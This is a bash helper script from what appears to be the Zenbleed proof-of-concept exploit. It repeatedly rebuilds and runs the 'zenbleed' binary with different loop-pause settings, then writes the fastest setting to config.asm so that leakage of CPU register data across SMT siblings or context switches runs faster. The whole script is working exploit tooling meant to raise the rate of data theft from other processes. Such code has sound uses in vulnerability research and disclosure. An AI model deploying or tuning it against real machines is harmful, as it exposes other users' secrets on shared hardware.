#!/bin/bash
#
# The volume of leaked data is very dependent on scheduling, this script tries
# to determine the best settings on your SKU automatically.
# The parameters depend on whether you want to leak across hyperthreads, or
# across context switch on the same core.
#
# NOTE: This can take a while to run

# This finds the SMT sibling of core0. We will run a hammer on the thread
# sibling, and see how fast we can leak it from core0.
declare -i sibling=$(cut -d, -f2 /sys/bus/cpu/devices/cpu0/topology/thread_siblings_list)

# The default leak kernel works very well across sibling cores, but not so
# well on same-core, so the default is to optimize for same-core leaks.
# Comment this line to test SMT.
declare -i sibling=0
declare -i leakrate
declare -i optrate
declare -i sampletime=30
declare alltimes=$(mktemp)

trap 'rm -f ${alltimes}' EXIT

if ! type /usr/bin/time > /dev/null; then
    printf "This script requires /usr/bin/time, try apt install time\n"
    exit 1
fi

printf "Testing approximate baseline leak rate (~%u seconds)..." ${sampletime}

if ! make -s clean all; then
    printf "FAIL\n"
    printf "Cannot build zenbleed executable\n"
    exit 1
fi

leakrate=$(./zenbleed -q -H ${sibling} -r 1-8192 -s -t ${sampletime} | wc -l);

if test ${leakrate} -le 0; then
    printf "FAIL\n"
    printf "Unable to determine baseline leak rate, cannot continue\n"
    exit 1
fi

printf "OK ~%u\n" ${leakrate}
printf "Beginning tests... (this will take a long time ~10min, some failures are normal)\n"

# These are all the settings we can tweak.
for ((zl_loop_pause = 0; zl_loop_pause <= 32; zl_loop_pause++)); do
    printf "\t%u..." ${zl_loop_pause}
    # This is generic so we can test more options in future.
    flags=""
    flags+=" -Dzl_loop_pause=$((zl_loop_pause))"
    format="%e %x ${zl_loop_pause}"
    make -s clean all NFLAGS="${flags}"
    if /usr/bin/time --quiet --append --format="${format}" --output="${alltimes}" ./zenbleed -q -s -H ${sibling} -r 1-8192 -t ${sampletime} -m ${leakrate} -v 2 > /dev/null; then
        printf "PASS: "; awk 'END {print $1}' "${alltimes}"
        continue
    fi
    printf "FAIL\n"
done

# This is generic so we can test more options in future.
read time code zl_loop_pause < <(awk '$2 == 0 {print}' "${alltimes}" | sort -g | head -1)

printf "Tests complete.\n"
printf "Generating optimal settings...\n"

# Generate the header file.
cat << __EOF__ > config.asm
; This file was generated by ${0} on $(date)
%ifndef zl_loop_pause
    %define zl_loop_pause $((zl_loop_pause))
%endif
__EOF__

# Rebuild...
make -s clean all

printf "All done, testing new baseline..."

optrate=$(./zenbleed -q -H ${sibling} -r 1-8192 -s -t ${sampletime} -v 2 | wc -l)

if test ${optrate} -le ${leakrate}; then
    printf "FAIL, sorry could not improve settings :(\n"
    exit 1
fi

printf "OK, %ux speedup\n" $((optrate / leakrate))

printf "Try running: ./zenbleed -v2\n"
printf "NOTE: You *must* use -v2 to get the optimized settings.\n"
